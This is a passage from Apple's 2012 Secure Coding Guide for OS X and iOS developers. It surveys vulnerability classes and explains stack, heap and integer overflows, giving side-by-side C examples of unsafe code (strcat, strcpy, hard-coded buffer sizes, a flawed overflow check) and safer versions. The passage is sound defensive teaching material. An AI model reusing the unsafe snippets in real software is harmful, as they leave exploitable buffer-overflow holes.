2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
6Secure coding is the practice of writing programs that are resistant to attack by malicious or mischievous
people or programs. Secure coding helps protect a user’s data from theft or corruption. In addition, an insecure
program can provide accessfor an attacker to take control of a server or a user’s computer, resulting in anything
from a denial of service to a single user to the compromise of secrets, loss of service, or damage to the systems
of thousands of users.
Secure coding is important for all software; if you write any code that runs on Macintosh computers or on iOS
devices, from scripts for your own use to commercial software applications, you should be familiar with the
information in this document.
At a Glance
Every program is a potential target. Attackers will try to find security vulnerabilities in your applications or
servers. They will then try to use these vulnerabilities to steal secrets, corrupt programs and data, and gain
control of computer systems and networks. Your customers’ property and your reputation are at stake.
Security is notsomething that can be added to software as an afterthought; just as a shed made out of cardboard
cannot be made secure by adding a padlock to the door, an insecure tool or application may require extensive
redesign to secure it. You must identify the nature of the threats to your software and incorporate secure
coding practices throughout the planning and development of your product. This chapter explains the types
of threatsthat yoursoftware may face. Other chaptersin this document describe specific types of vulnerabilities
and give guidance on how to avoid them.
Hackers, Crackers, and Attackers
Contrary to the usage by most news media, within the computer industry the term hacker refers to an expert
programmer—one who enjoyslearning about the intricacies of code or an operating system. In general, hackers
are not malicious. When most hackers find security vulnerabilities in code, they inform the company or
organization that’s responsible for the code so that they can fix the problem. Some hackers—especially if they
feel their warnings are being ignored—publish the vulnerabilities or even devise and publish exploits (code
that takes advantage of the vulnerability).
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
7
Introduction to Secure Coding GuideThe malicious individuals who break into programs and systems in order to do damage or to steal something
are referred to as crackers, attackers, or black hats. Most attackers are not highly skilled, but take advantage
of published exploit code and known techniques to do their damage. People (usually, though not always,
young men) who use published code (scripts) to attack software and computer systems are sometimes called
script kiddies.
Attackers may be motivated by a desire to steal money, identities, and othersecretsfor personal gain; corporate
secrets for their employer’s or their own use; or state secrets for use by hostile governments or terrorist
organizations. Some crackers break into applications or operating systems just to show that they can do it;
nevertheless, they can cause considerable damage. Because attacks can be automated and replicated, any
weakness, no matter how slight, can be exploited.
The large number of insiders who are attacking systems is of importance to security design because, whereas
malicious hackers and script kiddies are most likely to rely on remote access to computers to do their dirty
work, insiders might have physical access to the computer being attacked. Your software must be resistant to
both attacks over a network and attacks by people sitting at the computer keyboard—you cannot rely on
firewalls and server passwords to protect you.
No Platform Is Immune
So far, OS X has not fallen prey to any major, automated attack like the MyDoom virus. There are several reasons
for this. One is that OS X is based on open source software such as BSD; many hackers have searched this
software over the years looking for security vulnerabilities, so that not many vulnerabilities remain. Another is
that the OS X turns off all routable networking services by default. Also, the email and internet clients used
most commonly on OS X do not have privileged access to the operating system and are less vulnerable to
attack than those used on some other common operating systems. Finally, Apple actively reviewsthe operating
system and applications for security vulnerabilities, and issues downloadable security updates frequently.
iOS is based on OS X and shares many of its security characteristics. In addition, it is inherently more secure
than even OS X because each application is restricted in the files and system resources it can access. Beginning
in version 10.7, Mac apps can opt into similar protection.
That’s the good news. The bad news is that applications and operating systems are constantly under attack.
Every day, black hat hackers discover new vulnerabilities and publish exploit code. Criminals and script kiddies
then use that exploit code to attack vulnerable systems. Also, security researchers have found many
vulnerabilities on a variety of systems that, if exploited, could have resulted in loss of data, allowing an attacker
to steal secrets, or enabling an attacker to run code on someone else’s computer.
Introduction to Secure Coding Guide
At a Glance
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
8A large-scale, widespread attack is not needed to cause monetary and other damages; a single break-in is
sufficient if the system broken into contains valuable information. Although major attacks of viruses or worms
get a lot of attention from the media, the destruction or compromising of data on a single computer is what
matters to the average user.
For your users’sake, you should take every security vulnerability seriously and work to correct known problems
quickly. If every Macintosh and iOS developer followsthe advice in this document and other books on electronic
security, and if the owner of each Macintosh takes common-sense precautions such as using strong passwords
and encrypting sensitive data, then OS X and iOS will maintain their reputationsfor being safe, reliable operating
systems, and your company’s products will benefit from being associated with OS X or iOS.
How to Use This Document
This document assumes that you have already read Security Overview.
The document begins with “Types of Security Vulnerabilities” (page 11), which gives a brief introduction to
the nature of each of the types of security vulnerability commonly found in software. This chapter provides
background information that you should understand before reading the other chapters in the document. If
you’re not sure what a race condition is, for example, or why it poses a security risk, this chapter is the place
to start.
The remaining chapters in the document discuss specific types of security vulnerabilities in some detail. These
chapters can be read in any order, or as suggested by the software development checklist in “Security
Development Checklists” (page 86).
●
“Avoiding Buffer Overflows And Underflows” (page 17) describes the various types of buffer overflows
and explains how to avoid them.
●
“Validating Input And Interprocess Communication” (page 33) discusses why and how you must validate
every type of input your program receives from untrusted sources.
●
“Race Conditions and Secure File Operations” (page 43) explains how race conditions occur, discusses
ways to avoid them, and describes insecure and secure file operations.
●
“Elevating Privileges Safely” (page 59) describes how to avoid running code with elevated privileges and
what to do if you can’t avoid it entirely.
●
“Designing Secure User Interfaces” (page 73) discusses how the user interface of a program can enhance
or compromise security and gives some guidance on how to write a security-enhancing UI.
●
“Designing Secure Helpers And Daemons” (page 81) describes how to design helper applications in ways
that are conducive to privilege separation.
Introduction to Secure Coding Guide
How to Use This Document
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
9In addition, the appendix “Security Development Checklists” (page 86) provides a convenient list of tasks that
you should perform before shipping an application, and the appendix “Third-Party Software Security
Guidelines” (page 103) provides a list of guidelines for third-party applications bundled with OS X.
See Also
This document concentrates on security vulnerabilities and programming practices of special interest to
developers using OS X or iOS. For discussions of secure programming of interest to all programmers, see the
following books and documents:
● See Viega and McGraw, Building Secure Software , Addison Wesley, 2002; for a general discussion of secure
programming, especially as it relates to C programming and writing scripts.
● SeeWheeler, Secure Programming for Linux andUnixHOWTO, available athttp://www.dwheeler.com/secureprograms/; for discussions ofseveral types ofsecurity vulnerabilities and programming tipsfor UNIX-based
operating systems, most of which apply to OS X.
● See Cranor and Garfinkel, Security and Usability: Designing Secure Systems that People Can Use , O’Reilly,
2005; for information on writing user interfaces that enhance security.
For documentation of security-related application programming interfaces (APIs) for OS X (and iOS, where
noted), see the following Apple documents:
● For an introduction to some security concepts and to learn about the security features available in OS X,
see Security Overview.
● For information on secure networking, see Cryptographic Services Guide , Secure Transport Reference and
CFNetwork Programming Guide .
● For information on OS X authorization and authentication APIs, see Authentication, Authorization, and
Permissions Guide , Authorization Services Programming Guide , Authorization Services C Reference , and
Security Foundation Framework Reference .
●
If you are using digital certificates for authentication, see Cryptographic Services Guide , Certificate, Key,
and Trust Services Reference (iOS version available) and Certificate, Key, and Trust Services Programming
Guide .
● For secure storage of passwords and other secrets, see Cryptographic Services Guide , Keychain Services
Reference (iOS version available) and Keychain Services Programming Guide .
For information about security in web application design, visit http://www.owasp.org/.
Introduction to Secure Coding Guide
See Also
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
10Most software security vulnerabilities fall into one of a small set of categories:
● buffer overflows
● unvalidated input
●
race conditions
● access-control problems
● weaknesses in authentication, authorization, or cryptographic practices
This chapter describes the nature of each type of vulnerability.
Buffer Overflows
A buffer overflow occurs when an application attempts to write data past the end (or, occasionally, past the
beginning) of a buffer.
Buffer overflows can cause applications to crash, can compromise data, and can provide an attack vector for
further privilege escalation to compromise the system on which the application is running.
Books on software security invariably mention buffer overflows as a major source of vulnerabilities. Exact
numbers are hard to come by, but as an indication, approximately 20% of the published exploits reported by
the United States Computer Emergency Readiness Team (US-CERT) for 2004 involved buffer overflows.
Any application or system software that takes input from the user, from a file, or from the network has to store
that input, at least temporarily. Except in special cases, most application memory isstored in one of two places:
●
stack—A part of an application’s addressspace thatstores data that isspecific to a single call to a particular
function, method, block, or other equivalent construct.
● heap—General purpose storage for an application. Data stored in the heap remains available as long as
the application is running (or until the application explicitly tells the operating system that it no longer
needs that data).
Class instances, data allocated with malloc, core foundation objects, and most other application data
resides on the heap. (Note, however, that the local variables that actually point to the data are stored in
the stack.)
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
11
Types of Security VulnerabilitiesBuffer overflow attacks generally occur by compromising either the stack, the heap, or both. For more
information, read “Avoiding Buffer Overflows And Underflows” (page 17)
Unvalidated Input
As a general rule, you should check all input received by your program to make sure that the data isreasonable.
For example, a graphics file can reasonably contain an image that is 200 by 300 pixels, but cannot reasonably
contain an image that is 200 by -1 pixels. Nothing prevents a file from claiming to contain such an image,
however (apart from convention and common sense). A naive program attempting to read such a file would
attempt to allocate a buffer of an incorrect size, leading to the potential for a heap overflow attack or other
problem. For this reason, you must check your input data carefully. This process is commonly known as input
validation or sanity checking.
Any input received by your program from an untrusted source is a potential target for attack. (In this context,
an ordinary user is an untrusted source.) Examples of input from an untrusted source include (but are not
restricted to):
●
text input fields
● commands passed through a URL used to launch the program
● audio, video, or graphics files provided by users or other processes and read by the program
● command line input
● any data read from an untrusted server over a network
● any untrusted data read from a trusted server over a network (user-submitted HTML or photos on a bulletin
board, for example)
Hackers look at every source of input to the program and attempt to pass in malformed data of every type
they can imagine. If the program crashes or otherwise misbehaves, the hacker then triesto find a way to exploit
the problem. Unvalidated-input exploits have been used to take control of operating systems, steal data,
corrupt users’ disks, and more. One such exploit was even used to “jail break” iPhones.
“Validating Input And Interprocess Communication” (page 33) describes common types of input-validation
vulnerabilities and what to do about them.
Types of Security Vulnerabilities
Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
12Race Conditions
A race condition exists when changes to the order of two or more events can cause a change in behavior. If
the correct order of execution is required for the proper functioning of the program, this is a bug. If an attacker
can take advantage of the situation to insert malicious code, change a filename, or otherwise interfere with
the normal operation of the program, the race condition is a security vulnerability. Attackers can sometimes
take advantage of small time gaps in the processing of code to interfere with the sequence of operations,
which they then exploit.
For more information about race conditions and how to prevent them, read “Race Conditions and Secure File
Operations” (page 43).
Interprocess Communication
Separate processes—either within a single program or in two different programs—sometimes have to share
information. Common methods include using shared memory or using some messaging protocol, such as
Sockets, provided by the operating system. These messaging protocols used for interprocess communication
are often vulnerable to attack; thus, when writing an application, you must always assume that the process at
the other end of your communication channel could be hostile.
For more information on how to perform secure interprocess communication, read “Validating Input And
Interprocess Communication” (page 33).
Insecure File Operations
In addition to time-of-check–time-of-use problems, many other file operations are insecure. Programmers
often make assumptions about the ownership, location, or attributes of a file that might not be true. For
example, you might assume that you can always write to a file created by your program. However, if an attacker
can change the permissions or flags on that file after you create it, and if you fail to check the result code after
a write operation, you will not detect the fact that the file has been tampered with.
Examples of insecure file operations include:
● writing to or reading from a file in a location writable by another user
●
failing to make the right checks for file type, device ID, links, and other settings before using a file
●
failing to check the result code after a file operation
● assuming that if a file has a local pathname, it has to be a local file
These and other insecure file operations are discussed in more detail in “Securing File Operations” (page 47).
Types of Security Vulnerabilities
Race Conditions
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
13Access Control Problems
Access control is the process of controlling who is allowed to do what. This ranges from controlling physical
access to a computer—keeping your servers in a locked room, for example—to specifying who has access to
a resource (a file, for example) and what they are allowed to do with that resource (such as read only). Some
access control mechanisms are enforced by the operating system,some by the individual application orserver,
some by a service (such as a networking protocol) in use. Many security vulnerabilities are created by the
careless or improper use of access controls, or by the failure to use them at all.
Much of the discussion of security vulnerabilities in the software security literature is in terms of privileges,
and many exploits involve an attacker somehow gaining more privileges than they should have. Privileges,
also called permissions, are access rights granted by the operating system, controlling who is allowed to read
and write files, directories, and attributes of files and directories (such as the permissions for a file), who can
execute a program, and who can perform other restricted operations such as accessing hardware devices and
making changes to the network configuration. File permissions and access control in OS X are discussed in File
System Programming Guide .
Of particular interest to attackers is the gaining of root privileges, which refers to having the unrestricted
permission to perform any operation on the system. An application running with root privileges can access
everything and change anything. Many security vulnerabilities involve programming errors that allow an
attacker to obtain root privileges. Some such exploits involve taking advantage of buffer overflows or race
conditions, which in some special circumstances allow an attacker to escalate their privileges. Others involve
having access to system files that should be restricted or finding a weakness in a program—such as an
application installer—that is already running with root privileges. For this reason, it’s important to always run
programs with as few privileges as possible. Similarly, when it is necessary to run a program with elevated
privileges, you should do so for as short a time as possible.
Much access control is enforced by applications, which can require a user to authenticate before granting
authorization to perform an operation. Authentication can involve requesting a user name and password, the
use of a smart card, a biometric scan, or some other method. If an application calls the OS X Authorization
Services application interface to authenticate a user, it can automatically take advantage of whichever
authentication method is available on the user’s system. Writing your own authentication code is a less secure
alternative, as it might afford an attacker the opportunity to take advantage of bugs in your code to bypass
your authentication mechanism, or it might offer a less secure authentication method than the standard one
used on the system. Authorization and authentication are described further in Security Overview.
Digital certificates are commonly used—especially over the Internet and with email—to authenticate users
and servers, to encrypt communications, and to digitally sign data to ensure that it has not been corrupted
and was truly created by the entity that the user believes to have created it. Incorrect or careless use of digital
certificates can lead to security vulnerabilities. For example, a server administration program shipped with a
Types of Security Vulnerabilities
Access Control Problems
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
14standard self-signed certificate, with the intention that the system administrator would replace it with a unique
certificate. However, many system administrators failed to take this step, with the result that an attacker could
decrypt communication with the server. [CVE-2004-0927]
It’s worth noting that nearly all access controls can be overcome by an attacker who has physical access to a
machine and plenty of time. For example, no matter what you set a file’s permissions to, the operating system
cannot prevent someone from bypassing the operating system and reading the data directly off the disk. Only
restricting access to the machine itself and the use of robust encryption techniques can protect data from
being read or corrupted under all circumstances.
The use of access controls in your program is discussed in more detail in “Elevating Privileges Safely” (page
59).
Secure Storage and Encryption
Encryption can be used to protect a user’s secrets from others, either during data transmission or when the
data is stored. (The problem of how to protect a vendor’s data from being copied or used without permission
is not addressed here.) OS X provides a variety of encryption-based security options, such as
● FileVault
●
the ability to create encrypted disk images
● keychain
● certificate-based digital signatures
● encryption of email
● SSL/TLS secure network communication
● Kerberos authentication
The list of security options in iOS includes
● passcode to prevent unauthorized use of the device
● data encryption
●
the ability to add a digital signature to a block of data
● keychain
● SSL/TLS secure network communication
Types of Security Vulnerabilities
Secure Storage and Encryption
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
15Each service has appropriate uses, and each haslimitations. For example, FileVault, which encryptsthe contents
of a user’s root volume (in OS X v10.7 and later) or home directory (in earlier versions), is a very important
security feature for shared computers or computers to which attackers might gain physical access, such as
laptops. However, it is not very helpful for computers that are physically secure but that might be attacked
over the network while in use, because in that case the home directory is in an unencrypted state and the
threat is from insecure networks or shared files. Also, FileVault is only as secure as the password chosen by the
user—if the userselects an easily guessed password, or writesit down in an easily found location, the encryption
is useless.
It is a serious mistake to try to create your own encryption method or to implement a published encryption
algorithm yourself unless you are already an expert in the field. It is extremely difficult to write secure, robust
encryption code that generates unbreakable ciphertext, and it is almost always a security vulnerability to try.
For OS X, if you need cryptographic services beyond those provided by the OS X user interface and high-level
programming interfaces, you can use the open-source CSSM Cryptographic Services Manager. See the
documentation provided with the Open Source security code, which you can download at http://developer.apple.com/darwin/projects/security/. For iOS, the development APIs should provide all the services you need.
For more information about OS X and iOS security features, read Authentication, Authorization, and Permissions
Guide .
Social Engineering
Often the weakest link in the chain ofsecurity features protecting a user’s data and software isthe user himself.
As developers eliminate buffer overflows, race conditions, and othersecurity vulnerabilities, attackersincreasingly
concentrate on fooling users into executing malicious code or handing over passwords, credit-card numbers,
and other private information. Tricking a user into giving up secrets or into giving access to a computer to an
attacker is known as social engineering.
For example, in February of 2005, a large firm that maintains credit information, Social Security numbers, and
other personal information on virtually all U.S. citizens revealed that they had divulged information on at least
150,000 people to scam artists who had posed as legitimate businessmen. According to Gartner (www.gartner.com), phishing attacks cost U.S. banks and credit card companies about $1.2 billion in 2003, and this number
is increasing. They estimate that between May 2004 and May 2005, approximately 1.2 million computer users
in the United States suffered losses caused by phishing.
Software developers can counter such attacks in two ways: through educating their users, and through clear
and well-designed user interfaces that give users the information they need to make informed decisions.
For more advice on how to design a user interface that enhances security, see “Designing Secure User
Interfaces” (page 73).
Types of Security Vulnerabilities
Social Engineering
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
16Buffer overflows, both on the stack and on the heap, are a major source of security vulnerabilities in C,
Objective-C, and C++ code. This chapter discusses coding practicesthat will avoid buffer overflow and underflow
problems, lists tools you can use to detect buffer overflows, and provides samples illustrating safe code.
Every time your program solicits input (whether from a user, from a file, over a network, or by some other
means), there is a potential to receive inappropriate data. For example, the input data might be longer than
what you have reserved room for in memory.
When the input data islonger than will fit in the reserved space, if you do not truncate it, that data will overwrite
other data in memory. When this happens, it is called a buffer overflow. If the memory overwritten contained
data essential to the operation of the program, this overflow causes a bug that, being intermittent, might be
very hard to find. If the overwritten data includes the address of other code to be executed and the user has
done this deliberately, the user can point to malicious code that your program will then execute.
Similarly, when the input data is or appearsto be shorter than the reserved space (due to erroneous assumptions,
incorrect length values, or copying raw data as a C string), this is called a buffer underflow. This can cause any
number of problems from incorrect behavior to leaking data that is currently on the stack or heap.
Although most programming languages check input againststorage to prevent buffer overflows and underflows,
C, Objective-C, and C++ do not. Because many programs link to C libraries, vulnerabilities in standard libraries
can cause vulnerabilities even in programs written in “safe” languages. For thisreason, even if you are confident
that your code isfree of buffer overflow problems, you should limit exposure by running with the least privileges
possible. See “Elevating Privileges Safely” (page 59) for more information on this topic.
Keep in mind that obvious forms of input, such as strings entered through dialog boxes, are not the only
potential source of malicious input. For example:
1. Buffer overflowsin one operating system’s help system could be caused by maliciously prepared embedded
images.
2. A commonly-used media player failed to validate a specific type of audio files, allowing an attacker to
execute arbitrary code by causing a buffer overflow with a carefully crafted audio file.
[
1
CVE-2006-1591
2
CVE-2006-1370]
There are two basic categories of overflow: stack overflows and heap overflows. These are described in more
detail in the sections that follow.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
17
Avoiding Buffer Overflows and UnderflowsStack Overflows
In most operating systems, each application has a stack (and multithreaded applications have one stack per
thread). This stack contains storage for locally scoped data.
The stack is divided up into units called stack frames. Each stack frame contains all data specific to a particular
call to a particular function. This data typically includes the function’s parameters, the complete set of local
variables within that function, and linkage information—that is, the address of the function call itself, where
execution continues when the function returns). Depending on compiler flags, it may also contain the address
of the top of the next stack frame. The exact content and order of data on the stack depends on the operating
system and CPU architecture.
Each time a function is called, a new stack frame is added to the top of the stack. Each time a function returns,
the top stack frame is removed. At any given point in execution, an application can only directly access the
data in the topmost stack frame. (Pointers can get around this, but it is generally a bad idea to do so.) This
design makes recursion possible because each nested call to a function gets its own copy of local variables
and parameters.
Avoiding Buffer Overflows and Underflows
Stack Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
18Figure 2-1 illustrates the organization of the stack. Note that this figure is schematic only; the actual content
and order of data put on the stack depends on the architecture of the CPU being used. See OS X ABI Function
Call Guide for descriptions of the function-calling conventions used in all the architectures supported by OS
X.
Figure 2-1 Schematic view of the stack
Function A
Function B
Function C
Function A data
Parameters for call
to function B
Function A return address
Function B data
Parameters for call
to function C
Function B return address
Function C data
Space for parameters for
next subroutine call
Function C return address
In general, an application should check all input data to make sure it is appropriate for the purpose intended
(for example, making sure that a filename is of legal length and contains no illegal characters). Unfortunately,
in many cases, programmers do not bother, assuming that the user will not do anything unreasonable.
This becomes a serious problem when the application stores that data into a fixed-size buffer. If the user is
malicious (or opens a file that contains data created by someone who is malicious), he or she might provide
data that is longer than the size of the buffer. Because the function reserves only a limited amount of space
on the stack for this data, the data overwrites other data on the stack.
As shown in Figure 2-2, a clever attacker can use this technique to overwrite the return address used by the
function, substituting the address of his own code. Then, when function C completes execution, rather than
returning to function B, it jumps to the attacker’s code.
Avoiding Buffer Overflows and Underflows
Stack Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
19Because the application executes the attacker’s code, the attacker’s code inherits the user’s permissions. If the
user islogged on as an administrator (the default configuration in OS X), the attacker can take complete control
of the computer, reading data from the disk, sending emails, and so forth. (In iOS, applications are much more
restricted in their privileges and are unlikely to be able to take complete control of the device.)
Figure 2-2 Stack after malicious buffer overflow
Function A
Function B
Function C
Function A data
Parameters for call
to function B
Function A return address
Function B data
Parameters for call
to function C
Function B return address
Function C data
Space for parameters for
next subroutine call
Function C return address
Parameter overflow
Address of attackerʼs code
In addition to attacks on the linkage information, an attacker can also alter program operation by modifying
local data and function parameters on the stack. For example, instead of connecting to the desired host, the
attacker could modify a data structure so that your application connects to a different (malicious) host.
Heap Overflows
As mentioned previously, the heap is used for all dynamically allocated memory in your application. When you
use malloc, new, or equivalent functions to allocate a block of memory or instantiate an object, the memory
that backs those pointers is allocated on the heap.
Avoiding Buffer Overflows and Underflows
Heap Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
20Because the heap is used to store data but is not used to store the return address value of functions and
methods, and because the data on the heap changes in a nonobvious way as a program runs, it is less obvious
how an attacker can exploit a buffer overflow on the heap. To some extent, it is this nonobviousness that
makes heap overflows an attractive target—programmers are less likely to worry about them and defend
against them than they are for stack overflows.
Figure 2-1 illustrates a heap overflow overwriting a pointer.
Figure 2-3 Heap overflow
Buffer
overflow
Data
Buffer
Data
Pointer
Data
Data
Data
Data
In general, exploiting a buffer overflow on the heap is more challenging than exploiting an overflow on the
stack. However, many successful exploits have involved heap overflows. There are two ways in which heap
overflows are exploited: by modifying data and by modifying objects.
An attacker can exploit a buffer overflow on the heap by overwriting critical data, either to cause the program
to crash or to change a value that can be exploited later (overwriting a stored user ID to gain additional access,
for example). Modifying this data is known as a non-control-data attack. Much of the data on the heap is
generated internally by the program rather than copied from user input;such data can be in relatively consistent
locations in memory, depending on how and when the application allocates it.
Avoiding Buffer Overflows and Underflows
Heap Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
21An attacker can also exploit a buffer overflow on the heap by overwriting pointers. In many languages such
as C++ and Objective-C, objects allocated on the heap contain tables of function and data pointers. By exploiting
a buffer overflow to change such pointers, an attacker can potentially substitute different data or even replace
the instance methods in a class object.
Exploiting a buffer overflow on the heap might be a complex, arcane problem to solve, but crackers thrive on
just such challenges. For example:
1. A heap overflow in code for decoding a bitmap image allowed remote attackersto execute arbitrary code.
2. A heap overflow vulnerability in a networking server allowed an attacker to execute arbitrary code by
sending an HTTP POST request with a negative “Content-Length” header.
[
1
CVE-2006-0006
2
CVE-2005-3655]
String Handling
Strings are a common form of input. Because many string-handling functions have no built-in checks for string
length, strings are frequently the source of exploitable buffer overflows. Figure 2-4 illustrates the different
ways three string copy functions handle the same over-length string.
Figure 2-4 C string handling functions and buffer overflows
L A R G E R \0
L A R G E
L A R G \0
Char destination[5]; char *source = “LARGER”;
strcpy(destination, source);
strncpy(destination, source, sizeof(destination));
strlcpy(destination, source, sizeof(destination));
As you can see, the strcpy function merely writes the entire string into memory, overwriting whatever came
after it.
The strncpy function truncates the string to the correct length, but without the terminating null character.
When this string is read, then, all of the bytes in memory following it, up to the next null character, might be
read as part of the string. Although this function can be used safely, it is a frequent source of programmer
Avoiding Buffer Overflows and Underflows
String Handling
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
22mistakes, and thus is regarded as moderately unsafe. To safely use strncpy, you must either explicitly zero
the last byte of the buffer after calling strncpy or pre-zero the buffer and then pass in a maximum length
that is one byte smaller than the buffer size.
Only the strlcpy function is fully safe, truncating the string to one byte smaller than the buffer size and
adding the terminating null character.
Table 2-1 summarizes the common C string-handling routines to avoid and which to use instead.
Table 2-1 String functions to use and avoid
Don’t use these functions Use these instead
strcat strlcat
strcpy strlcpy
strncat strlcat
strncpy strlcpy
snprintf or asprintf
(See note)
sprintf
vsnprintf or vasprintf
(See note)
vsprintf
fgets
(See note)
gets
Avoiding Buffer Overflows and Underflows
String Handling
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
23Security Note for snprintf and vsnprintf: The functions snprintf, vsnprintf, and variants are
dangerous if used incorrectly. Although they do behave functionally like strlcat and similar in
that they limit the bytes written to n-1, the length returned by these functions is the length that
would have been printed if n were infinite .
For this reason, you must not use this return value to determine where to null-terminate the string
or to determine how many bytes to copy from the string at a later time.
Security Note for fgets: Although the fgets function provides the ability to read a limited amount
of data, you must be careful when using it. Like the other functions in the “safer” column, fgets
alwaysterminatesthe string. However, unlike the other functionsin that column, it takes a maximum
number of bytes to read, not a buffer size.
In practical terms, this means that you must always pass a size value that is one fewer than the size
of the buffer to leave room for the null termination. If you do not, the fgets function will dutifully
terminate the string past the end of your buffer, potentially overwriting whatever byte of data follows
it.
You can also avoid string handling buffer overflows by using higher-level interfaces.
●
If you are using C++, the ANSI C++ string class avoids buffer overflows, though it doesn’t handle non-ASCII
encodings (such as UTF-8).
●
If you are writing code in Objective-C, use the NSString class. Note that an NSString object has to be
converted to a C string in order to be passed to a C routine, such as a POSIX function.
●
If you are writing code in C, you can use the Core Foundation representation of a string, referred to as a
CFString, and the string-manipulation functions in the CFString API.
The Core Foundation CFString is “toll-free bridged” with its Cocoa Foundation counterpart, NSString. This
means that the Core Foundation type is interchangeable in function or method calls with its equivalent
Foundation object. Therefore, in a method where you see an NSString * parameter, you can pass in a value
of type CFStringRef, and in a function where you see a CFStringRef parameter, you can pass in an
NSString instance. This also applies to concrete subclasses of NSString.
See CFString Reference , Foundation Framework Reference , and Carbon-Cocoa IntegrationGuide formore details
on using these representations of strings and on converting between CFString objects and NSString objects.
Avoiding Buffer Overflows and Underflows
String Handling
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
24Calculating Buffer Sizes
When working with fixed-length buffers, you should always use sizeof to calculate the size of a buffer, and
then make sure you don’t put more data into the buffer than it can hold. Even if you originally assigned a static
size to the buffer, either you or someone else maintaining your code in the future might change the buffer
size but fail to change every case where the buffer is written to.
The first example, Table 2-2, shows two ways of allocating a character buffer 1024 bytes in length, checking
the length of an input string, and copying it to the buffer.
Table 2-2 Avoid hard-coded buffer sizes
Instead of this: Do this:
#define BUF_SIZE 1024
...
char buf[BUF_SIZE];
...
if (size < BUF_SIZE) {
...
}
char buf[1024];
...
if (size <= 1023) {
...
}
char buf[1024];
...
if (size < sizeof(buf)) {
...
}
char buf[1024];
...
if (size < 1024) {
...
}
The two snippets on the left side are safe as long as the original declaration of the buffer size is never changed.
However, if the buffer size gets changed in a later version of the program without changing the test, then a
buffer overflow will result.
The two snippets on the right side show safer versions of this code. In the first version, the buffer size is set
using a constant that is set elsewhere, and the check uses the same constant. In the second version, the buffer
is set to 1024 bytes, but the check calculates the actual size of the buffer. In either of these snippets, changing
the original size of the buffer does not invalidate the check.
TTable 2-3, shows a function that adds an .ext suffix to a filename.
Avoiding Buffer Overflows and Underflows
Calculating Buffer Sizes
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
25Table 2-3 Avoid unsafe concatenation
Instead of this: Do this:
{
char file[MAX_PATH];
...
addsfx(file, sizeof(file));
...
}
static *suffix = ".ext";
size_t addsfx(char *buf, uint size)
{
size_t ret = strlcat(buf, suffix, size);
if (ret >= size) {
fprintf(stderr, "Buffer too small....\n");
}
return ret;
}
{
char file[MAX_PATH];
...
addsfx(file);
...
}
static *suffix = ".ext";
char *addsfx(char *buf)
{
return strcat(buf, suffix);
}
Both versions use the maximum path length for a file as the buffer size. The unsafe version in the left column
assumes that the filename does not exceed this limit, and appends the suffix without checking the length of
the string. The safer version in the right column uses the strlcat function, which truncates the string if it
exceeds the size of the buffer.
Important: You should always use an unsigned variable (such as size_t) when calculating sizes of buffers
and of data going into buffers. Because negative numbers are stored as large positive numbers, if you use
signed variables, an attacker might be able to cause a miscalculation in the size of the buffer or data by
writing a large number to your program. See “Avoiding Integer Overflows And Underflows” (page 27) for
more information on potential problems with integer arithmetic.
For a further discussion of this issue and a list of more functions that can cause problems, see Wheeler, Secure
Programming for Linux and Unix HOWTO (http://www.dwheeler.com/secure-programs/).
Avoiding Buffer Overflows and Underflows
Calculating Buffer Sizes
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
26Avoiding Integer Overflows and Underflows
If the size of a buffer is calculated using data supplied by the user, there is the potential for a malicious user
to enter a number that is too large for the integer data type, which can cause program crashes and other
problems.
In two’s-complement arithmetic (used forsigned integer arithmetic by most modern CPUs), a negative number
is represented by inverting all the bits of the binary number and adding 1. A 1 in the most-significant bit
indicates a negative number. Thus, for 4-byte signed integers, 0x7fffffff = 2147483647, but 0x80000000
= -2147483648
Therefore,
int 2147483647 + 1 = - 2147483648
If a malicious user specifies a negative number where your program is expecting only unsigned numbers, your
program might interpret it as a very large number. Depending on what that number is used for, your program
might attempt to allocate a buffer of thatsize, causing the memory allocation to fail or causing a heap overflow
if the allocation succeeds. In an early version of a popular web browser, for example, storing objects into a
JavaScript array allocated with negative size could overwrite memory. [CVE-2004-0361]
In other cases, if you use signed values to calculate buffer sizes and test to make sure the data is not too large
for the buffer, a sufficiently large block of data will appear to have a negative size, and will therefore pass the
size test while overflowing the buffer.
Depending on how the buffer size is calculated, specifying a negative number could result in a buffer too small
for its intended use. For example, if your program wants a minimum buffer size of 1024 bytes and adds to that
a number specified by the user, an attacker might cause you to allocate a buffer smaller than the minimum
size by specifying a large positive number, as follows:
1024 + 4294966784 = 512
0x400 + 0xFFFFFE00 = 0x200
Also, any bits that overflow past the length of an integer variable (whether signed or unsigned) are dropped.
For example, when stored in a 32-bit integer, 2**32 == 0. Because it is not illegal to have a buffer with a size
of 0, and because malloc(0) returns a pointer to a small block, your code might run without errors if an
attacker specifies a value that causes your buffer size calculation to be some multiple of 2**32. In other words,
for any values of n and m where (n * m) mod 2**32 == 0, allocating a buffer of size n*m results in a valid
pointer to a buffer of some very small (and architecture-dependent) size. In that case, a buffer overflow is
assured.
Avoiding Buffer Overflows and Underflows
Avoiding Integer Overflows and Underflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
27To avoid such problems, when performing buffer math, you should always include checks to make sure no
integer overflow occurred.
A common mistake when performing these tests is to check the result of the multiplication or other operation:
size_t bytes = n * m;
if (bytes < n || bytes < m) { /* BAD BAD BAD */
... /* allocate "bytes" space */
}
Unfortunately, the C language specification allows the compiler to optimize out such tests [CWE-733, CERT
